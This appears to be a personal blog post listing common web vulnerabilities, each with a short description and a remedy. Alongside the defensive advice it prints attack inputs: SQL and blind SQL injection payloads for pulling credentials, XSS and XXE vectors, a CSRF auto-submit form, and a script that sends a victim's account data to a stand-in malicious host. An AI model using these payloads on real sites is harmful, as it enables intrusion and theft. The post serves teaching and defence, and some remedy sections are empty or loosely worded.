Web Security Vulnerabilities
Post By kanra
Blogs Web Security Vulnerabilities

Examples of Web Vulnerability

Failure to Restrict URL Access

What? An application that is not protecting its “protected” pages sufficiently.
Solution Do not show any protected information in the HTML page.

Insecure Direct Object References

What? Attacker can modify the user identifier parameter to reference any user object in the system.
Solution Secure on the server side using session ID, Cookies.

Poor Data Validation

What? An application does not validate submitted data correctly or sufficiently.
Solution When data is submitted to a web application, it should ensure that the data is strongly typed, has correct syntax, is within length boundaries, contains only permitted characters and within range boundaries. The data validation process should ideally be performed on the client side and again on the server side.

Broken Access Control

What? Authorization is the process of verifying that you have permission to access something.

Data and functions not properly protected against adversarial access, leading unauthorized access. Such as:

#1 Just hiding “unauthorized” objects in Presentation-layer

#2 Access controls not enforced over *all* URLs to deny unauthorized file access

#3 Direct Object Access to other profiles via parameter ?id=123

#4 Directory traversal using ../../../etc/file as file’s name in URL

Solution Enforce these restrictions/unauthorized access on the server side: configuration of web server, etc.

#3 Eliminate direct reference using temporary mapping value such as id=123 -> id=7d3JU0$&8=*(B

#4 Validate all references, forbid directory traversal attempts, use file permission in the server

Improper validation of input

What? #1 Insecure file uploads, not validate file type (.exe), limit file size.

#2 Local File inclusion (LFI), (include($_GET[“input”])), hack with Directory traversal.

#3 Improper validation of parameters, fail to validate parameters sent to functions.

Solution Verify file uploads, check on server (Filename verification, Ensure uploaded content, and its size)

Server-side Request Forgery(SSRF)

What? Hacker induces a server App to make HTTP requests to an arbitrary internal/external site, such as loading server-side files, let a server do “remote” File include: include(url);
Solution Forbid/validate internal/external URL as the input data, forbid URL inclusion in App configuration.

XML eXternal Entities(XXE)

What? Hacker using DTD external entity declaration in XML to perform Local File Inclusion (LFI) or Remote File Inclusion.

<!DOCTYPE pass [
<ENTITY LocalFile "c:\file.txt">
<ENTITY RemoteFile "http://hack.com/file">
<!ENTITY XXE SYSTEM "http://192.168.1.1/private">
]>
Solution – Configure XML parsers to limit DTD entity expansion.
– Disallow/Validate DTDs in user-specified XML.

Sensitive Data Exposure

What? Sensitive data (username, password, password hash, ID info, session IDs, cookies, directory, log files, backups) stored or transmitted (to partner, backend DB) insecurely: Storing private data in log files, in public source code places like Github,
Solution – Ensure threat model accounts for possible attacks.
– Encrypt everything (sensitive data, the places to store).
– Enable TLS for all connections.
– Disable broken version SSL algorithms.
– Clean out sensitive info, error messages from repositories and log files.
– Use strong algorithm to protect keys, certificates, passwords.

Insecure Cryptographic Storage

What? Not encrypting data that deserves encryption, or when encrypt, using unsafe key generation, not rotating keys or using weak algorithm, or weak hashes.
Solution

Injection

What? Tricking an App into executing CMDs or codes embedded in data (mixing Data and code, breaking syntax)

#1 Command Injection, codes are dropped into shell and execute as the OS-site CMDs, such as PHP system(), Python os.system()

#2 Code Injection, data as code to inject (can concatenate with other parameters) into program itself by breaking syntax using some separators from the syntax of the language. Such as the program is using eval('input')

Solution – Avoid using eval(), system(), assert() with user input
– Input validation and encoding, apply filtering (on tags, language syntax), perform encoding on all characters from user input (or using language library calls such as pre-compiled syntax).
– Lower privileges of the Application running. (or in a sandbox)

SQL Injection

What? Data received from user as SQL syntax and be executed inside the database, resulting unexpected results. Received user input data such as:

1' or '1'='1, pair the closing syntax of quotes

1" or "1"="1, or double quote

1"or"1"="1, or without space, only works when using " or '

1/**/or/**/1=1, or using comment as space

X' or '1'='1' -- , comment injection, stop query running at this point, or using #

1' UNION SELECT 1,1,1,null -- , union injection, get data from other tables

1' UNION SELECT name FROM users LIMIT X OFFSET Y -- , union injection, get X rows from row Y of data from other tables

X' or '1'='1' order by 5 -- , to determine number of columns, # works when <= #column

1' UNION SELECT tab, tab, tab FROM INFORMATION_SCHEMA.TABLES -- , find all tables in DB (MySQL)

1' UNION SELECT col, col, col FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=‘table’ -- , find columns of a specific table (MySQL)

1' UNION SELECT username,password,password FROM UserAccounts -- , finally get rows of table for specific columns

extractvalue('<xml>',concat("/",(select user()))), get output of query from error message

\' or 1=1 --, for escaping that single-quote is being escaped, so id = '[val]' = '\' or 1=1 -- ' = '\\' or 1=1 -- ' = 'just text of \' or 1=1 -- 

\\x27\\x20union\\x20select\\x201\\x20--\\x20
\x27\x20union\x20select\x201\x20--\x20
= ' union select 1 -- Using \x UTF encoding, to bypass filter of single-quotes, but it will be decoded on DB

Solution – Hide database error from users

– Perform input validation (Blacklist, Whitelist input validation), do encoding, at server side

– Using SQL prepared statements for query execution (parameterized query).

MongoDB Injection (NoSQL)

What? #1 MongoDB use a similar query language as SQL. Perform the canonical SQL injection technique, but use MongoDB’s syntax.

OR is ||
Equality check is ==
Comment is //

#2 Mass assignment, allows one to set all columns in a batch rather than using individual assignment statements.

user[username] = ‘abc’
user[password] = ‘a’
user[is_admin] = 1

==> in request link:
?user[username]=abc&user[password]=a&user[admin]=1

1' || '1'=='1, SQL-like injection

';return(true);var a='a, JS-like injection

Solution #1 …

#2 Never mass assign things from untrusted user input directly

Blind SQL Injection

What? A way to tricks databases into reveal information by way of the success or failure of injected queries. Using Brute force method with the help of regular expression.

MySQL IFLIKE 'a%' and REGEXP '^a', sleep(5), count(*) are using in such as:

AND IF (password LIKE BINARY 'p%', sleep(5), null), to detect if password start with ‘p’, then wait 5 seconds.

AND password REGEXP '^[a-b]' AND SLEEP(5), True if start with a or b or c or d then sleep 5s.

AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name = 'users') LIKE 5, sleep(5), null), if # of row return is 5, sleep for 5s, else do nothing.

 

NoSQL this.match(/^[A-Za-z0-9]$/)

Solution Set limitation for password attempt, enforce lockout policy on multiple failures.

Authentication

What? Authentication is the process of verifying who you are, such as login with a username and password. If user is using common username, password (in dictionary, in keyboard order) for authentication in multiple sites, it is easy for an adversary to guess.

#1 Credential spraying attacks, hacker use a list of passwords to guess a user current password

#2 Credential stuffing attacks, hacker compromise a site, then use the same credential to test on other sites.

#3 Credential harvesting attacks, hacker can collect user reused credential in a Phishing site that providing simple services.

Solution – Check for compromised credentials using online tools

– Using strong password, not common/reused password.

– Multi-factor authentication (2FA) using: cellphone, Yubikey, FIDO, …

Broken Authentication and Session
Management

What? Session is Embodiment of user’s authentication for duration of the user’s interaction with service (maintain authentication and authorization state).

#1 Guessable default credentials, user using default, or custom but easy-to-guess password.

#2 Vulnerable account/password recovery, using Guessable password reset questions, reset links, or the reset links is not secure.

#3 Vulnerable authentication processes, no limits on authentication attempts and failures, CAPTCHA authentication issues,  Side-channel attacks (Program #2), Case-sensitivity issues.

#4 Password storage problems, password store in clear format instead of hashed, or in insufficient cryptographic levels.

#5 Vulnerable session IDs, cookies, tokens, credentials, and keys, such as:
– Session IDs carried in URLs
– Tokens sent in cookies over HTTP (not https)
– Session tokens not bound to an IP
– Tokens containing semantic values or use predictable value
– Insecure management of session information at server

Solution #3 Enforce a password policy across Web app and DB.

#4 Employ hash stretching and slow password hashing algorithms. Password: iterations:salt:hash
– Password stored using hashes, and with “salt” (a random data hashed with password).
– Iterate a salt through a password hash algorithm multiple times, like 10000 times to slow the brute-force.

#5 Use session management by framework, Timeout sessions, session information transmitted via Https, Random encrypt and digitally sign the session token.

Unvalidated Redirects and Forwards

What? An web app allow input for redirection, hacker can launch phishing scam and steal user credentials by sending unvalidated links (a self-modified trusted URL has trustworthy appearance, such as www.irs.gov/?redirect=www.evilsite.com), but redirect to a malicious site.

An App using unvalidated redirect: header("Location: " . $_GET['url']);

An web app allow to forward unvalidated requests to a different parts of the site (administrative site), but without checking that user is authorized to access the URL (Broken Access control).

Solution – Avoid using redirects and forwards, or don’t include user input in target redirected URL.

– Authorize via access controller before forwarding (only authorized user who are permitted to access).

Cross-site Scripting (XSS) (JS Injection)

What? Trick user browser to execute malicious scripts (in a way of cross-site) without user knowledge, may steal or modify page content of a healthy site (steal user cookies of bank site)

Key: Cookie origin != Javascript origin

Inject rogue data into legitimate pages or into malicious links that is delivered to a victim’s browser as code (look like data), for stealing data, for phishing

– Reflected (Non-persistent): hacker provided rogue data is used by server-side script to generate a page to let other users to click.

– Stored (persistent): data provided by attacker is saved on the server, then displayed on “normal” pages for regular browsing by other users

– DOM-based: Payload of a link becomes code and be executed dynamically in client-side DOM

Examples of some attack vectors:

<script>alert('XSS')</script>

<SC<ScrIPT>ripT>alert('XSS')<SC<ScrIPT>ripT>

<img src="#" ONERROR="alert('XSS')"/>

<a href="#" onload="alert()"></a>

<input type="button" ONCLICK="alert('XSS')"/>

<iframe src="javascript:alert('XSS');"></iframe>

<a href="http://dfsd\\//'\;//\\""href="javascript:alert()">link<a>

Solution – Same-origin policy, Restrict that scripts are not working on another sites having different protocol (http vd https), port (80, 60), host/DNS (www.abc.com, blog.abc.com) [not works on <script> tag, JSON, <iframe>]

– Server disallow HTML tags in any user input (encode the syntax entities: <, >, ;, {, }, …

X-XSS-Protection (server HTTP response headers): Instruct browser to detect if the source code returned by server contains any part (injected code) of the client request

Value:
0 filter off
1 filter on, reflected code removed and remaining content rendered
1; mode=block Filter on, do not render page
1; report=<URL> Filter on, malicious code removed and request reported to URL

Content-Security-Policy (server HTTP response headers): CSP provide specification of cross-site access policies, content to be loaded from which locations.

Blanket directive default-src
Javascript directive script-src
CSS directive style-src
Images directive img-src
AJAX directive connect-src
Font directive font-src
HTML5 media directive media-src
Frame directive frame-src

Content-Security-Policy: default-src 'self'; script-src 'self' *.mycdn.com;

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

https://content-security-policy.com/

Trusted Types: for stopping DOM XSS, Enforce the use of policies at all injection points by using JS TrustedTypes object, and a CSP header to enable checking:

Content-Security-Policy: trusted-types *

Cross-origin resource sharing (CORS): for sharing content between two related sites, control object access across domains

Origin: https://malicious.com, Request header, for client to initiate a cross-domain request

Access-Control-Allow-Origin: https://Facebook.com, Http response header, from legal server (“Facebook” server) to allow other sites (such as Instagram.com) to access the response’s content.

 

Example:

Server “Instagram.com” support CORS, but just reflect the request header Origin to the response header Access-Control-Allow-Origin header.

Victim logged into “Instaram.com”, its info can be retrieved from endpoint “/accountDetail”.

Adversary send a malicious link “http://malicious.com” with script to a victim to access:

<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://instagram.com/accountDetails',true);
  req.withCredentials = true;   // tell server to same-origin policy 
  req.send();

  function reqListener() {
    // response has Access-Control-Allow-Origin: malicious.com
    // so script from malicious.com can access the response info 
    // log the account info from instagram.com back to malicious server
    location='http://malicious/log?key='+ this.responseText;
  };
</script>

Cross-site script inclusion (XSSI)

What? You visit an attacker page that including scripts which will pull out your data from legitimate sites that you had already authenticated.

<script src="https://gmail.com/p?jsonp=leak"></script>

Hacked on including user JSON file since  JSON inclusion automatically calls Array constructor, then execute code to steal user other site’s info

<script src="https://bank.com/user?key=leak"></script>

Solution Strict referrer (the URL that refer/call to another URL) checking upon inclusion of sensitive JSON URLs

Attaching a random per-user token to all JSON URLs that retrieving sensitive data

Using Cross-origin resource sharing (CORS) header

Cross-site Request Forgery (CSRF)

What? Trick user browser to access/request sensitive pages without user knowledge, since user browser may have credentials for each request (img, form, … )

Hacker trick user to access his rogue site where he can then access the vulnerable site on behalf of user (assume user has login to the vulnerable site), in a way of trap, e-mail, etc.

<img src=https://www.bankpal.com/transfer_funds?amount=1000&to_account=13273/>

Or submit form automatically:

<form name="csrfForm" action="http://www.secureBank.ie/sendMoney" method="POST">
<input type="hidden" name="giveMoneyTo" value="hacker" />
</form>
<script>document.csrfForm.submit();</script>

Solution SameSite cookies: Specify if cookie can be used outside of its own site

Set-Cookie: first_party_var=value; SameSite=Strict cookies only shared within the same domain

SameSite=Lax  cookie included only if done via HTTP GET

SameSite=None; Secure Allow all cross-domain usage of cookies

CSRF/nonce tokens: Add a secret token to origin page’s forms or links for ALL sensitive requests to prevent forged requests.

<input name="token" value="687965fdfaew87agrde" type="hidden"> tokens is crytographically secure (random hash), unique for each function

Require secondary authentication for sensitive functions, Expire authorization cookie quickly if session is idle

Click-jacking

What? (Unsolicited Framing, UI Redress) Users visit a malicious website where hacker is using hidden <iframe> to load legitimate site and trick the user to click some button.
Solution X-Frame-Options HTTP header where sites can tell browsers whether to load their content in an <iframe>, values:

DENY SAMEORIGIN ALLOW-FROM http://site.com

Content-Security-Policy: frame-ancestors 'self' https://*.abc.com;

Insecure Deserialization

What? Deserialization: Take collection of flattened bytes/binary (executable) then recreate the original structured objects or classes which are readable codes or data (OOP lang such as Java, C++, PHP)

Serer sends serialized objects to client, then client update and regenerate the original object and send back to server, then server deserializing the untrusted data from client, which can lead to code injection and remote code execution on server.

Malicious code executed upon deserialization.

serialize(new Object(”))

unserialize(serialized_obj_string)

Solution Using data-only format, such as JSON, XML for exchanging data (put limits on parsing such as JSON.parse())

Override default methods to ensure safe deserialization, only deserialize data user is supposed to modify, control what classes can be instantiated

Insufficient logging and monitoring

What? User centralized logging by sending logs to a centralized server, in different network, different account, such log should be append only.

syslog (unix OS log)

wtmp, utmp, btmp (log events)

access_log (web server)

windows security access logs

Solution

Security misconfiguration

What? Web app should rely on a secure building procedure from development to production, because everywhere in the development cycle is vulnerable.

Not properly reducing privileges of services

Misconfigure frameworks (disable eval(), hide errors, safe_mode, limit file upload, POST size)

Not removing credential in source code

Not enabling HSTS (Http strict transport security)

Solution Use tools to scan any credential key in source code

Components with known vulnerabilities

What? Using libraries frameworks that is outdated, weak, has vulnerabilities.
Solution Remove unnecessary OS component, network access, login access, software libs

Vulnerability scanning CVEs (automated vulnerability management, policy compliance for OS)

Fixing security issues and bugs as early in development cycle as possible

Supply-chain attacks

What? Hacker attack the package/libs providers (like npm, pip) where they put rogue packages for downloading.

Attach the update process

Solution

postMessage Spoofing

What? HTML5 postMessage use to provide cross-domain AJAX, can bypass same-origin on browser when rendered in same tab.

Insecure handing such as just check if the URL including the required domain’s name.

Solution Need to improve the validating process

 

 



AUTHOR : kanra
EMAIL : karawakara@gmail.com
Working on Networking, Web Development, Software Development, Server-side deployment. Having fun on doing experiments on new technologies.